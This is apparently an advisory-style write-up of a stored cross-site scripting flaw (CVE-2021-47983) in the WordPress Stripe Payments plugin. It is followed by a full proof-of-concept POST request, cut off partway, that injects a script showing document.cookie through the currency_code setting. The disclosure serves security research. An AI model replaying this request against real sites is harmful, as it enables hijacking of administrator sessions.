CVE-2021-47983

An authenticated attacker can send a POST request to `/wp-admin/options.php` with a malicious script payload in the `AcceptStripePayments-settings[currency_code]` parameter [ref_id=1]. This payload is then stored by the plugin. When an administrator views the plugin's settings page, the stored script is executed in their browser [ref_id=2].

The vulnerability lies within the handling of the `AcceptStripePayments-settings[currency_code]` parameter, which is part of the WordPress Plugin Stripe Payments.

The advisory does not specify a patch or provide details on how the vulnerability is fixed. It recommends updating to a version that addresses the vulnerability. Therefore, the patch does not show what changes were made to remediate the issue.

POST /wp-admin/options.php HTTP/1.1 Host: localhost Content-Length: 5786 Content-Type: application/x-www-form-urlencoded wp-asp-urlHash=general&option_page=AcceptStripePayments-settings-group&action=update&_wpnonce=eee296fed3&_wp_http_referer=%2Fwp-admin%2Fedit.php%3Fpost_type%3Dasp-products%26page%3Dstripe-payments-settings&AcceptStripePayments-settings%5Bcheckout_url%5D=http%3A%2F%2F192.168.31.131%2Fstripe-checkout-result%2F&asp_products_page_url_value=http%3A%2F%2F192.168.31.131%2Fproducts%2F&AcceptStripePayments-settings%5Bcurrency_code%5D=USDjk9v0%22%3e%3cscript%3ealert(document.cookie)%3c%2fscript%3edr45t*&AcceptStripePayments-settings%5Bcurrency_symbol%5D=%24&AcceptStripePayments-settings%5Bbutton_text%5D=Buy+Now&AcceptStripePayments-settings%5Bpopup_button_text%5D=Pay+%25s&AcceptStripePayments-settings%5Bcheckout_lang%5D=&AcceptStripePayments-settings%5Bpopup_default_country%5D=0&AcceptStripePayments-settings%5Bapi_publishable_key%5D=1&AcceptStripePayments-settings%5Bapi_secret_key%5D=2&AcceptStripePayments-settings%5Bapi_publishable_key_test%5D=3&AcceptStripePayments-settings%5Bapi_secret_key_test%5D=4&AcceptStripePayments-settings%5Bbuyer_email_type%5D=text&AcceptStripePayments-settings%5Bfrom_email_address%5D=test+%3Csales%40your-domain.com%3E&AcceptStripePayments-settings%5Bbuyer_email_subject%5D=Thank+you+for+the+purchase&AcceptStripePayments-settings%5Bbuyer_email_body%5D=Hello%0D%0A%0D%0AThank+you+for+your+purchase%21+You+ordered+the+following+item%28s%29%3A%0D%0A%0D%0A%7Bproduct_details%7D&AcceptStripePayments-settings%5Bseller_notification_email%5D=localhost%40google.com%20%3Chttp%3A%2F%2F40naver.com%2F%3E&AcceptStripePayments-settings%5Bseller_email_type%5D=text&AcceptStripePayments-settings%5Bseller_email_subject%5D=Notification+of+product+sale&AcceptStripePayments-settings%5Bseller_email_body%5D=Dear+Seller%0D%0A%0D%0AThis+mail+is+to+notify+you+of+a+product+sale.%0D%0A%0D%0A%7Bproduct_details%7D%0D%0A%0D%0AThe+sale+was+made+to+%7Bpayer_email%7D%0D%0A%0D%0AThanks&AcceptStripePayments-settings%5Bsend_email_on_error_to%5D=localhost%40google.com%20%3Chttp%3A%2F%2F40naver.com%2F%3E&AcceptStripePayments-settings%5Bprice_currency_pos%5D=left&AcceptStripePayments-settings%5Bprice_decimal_sep%5D=.&AcceptStripePayments-settings%5Bprice_thousand_sep%5D=%2C&AcceptStripePayments-settings%5Bprice_decimals_num%5D=2&AcceptStripePayments-settings%5Bcustom_field_name%5D=&AcceptStripePayments-settings%5Bcustom_field_descr%5D=&AcceptStripePayments-settings%5Bcustom_field_descr_location%5D=placeholder&AcceptStripePayments-settings%5Bcustom_field_position%5D=above&AcceptStripePayments-settings%5Bcustom_field_type%5D=text&AcceptStripePayments-settings%5Bcustom_field_validation%5D=&AcceptStripePayments-settings%5Bcustom_field_custom_validation_regex%5D=&AcceptStripePayments-settings%5Bcustom_field_custom_validation_err_msg%5D=Please+enter+valid+data&AcceptStripePayments-settings%5Btos_text%5D=I+accept+the+%3Ca+href%3D%22https%3A%2F%2Fexample.com%2Fterms-and-conditions%2F%22+target%3D%22_blank%22%3ETerms+and+Conditions%3C%2Fa%3E&AcceptStripePayments-settings%5Btos_position%5D=above&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BUSD%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BEUR%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BGBP%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BAUD%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BARS%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BBAM%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BBGN%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BBRL%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BCAD%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BCLP%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BCNY%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BCOP%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BCZK%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BDKK%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BEGP%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BHKD%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BHUF%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BINR%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BIDR%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BILS%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BJPY%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BLBP%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BMYR%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BMXN%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BNZD%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BNOK%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BPEN%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BPHP%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BPLN%5D=1&AcceptStripePayments-settings%5Ballowed_currencies%5D%5BRON%5D=1&AcceptStripePayments-settings%5Ballow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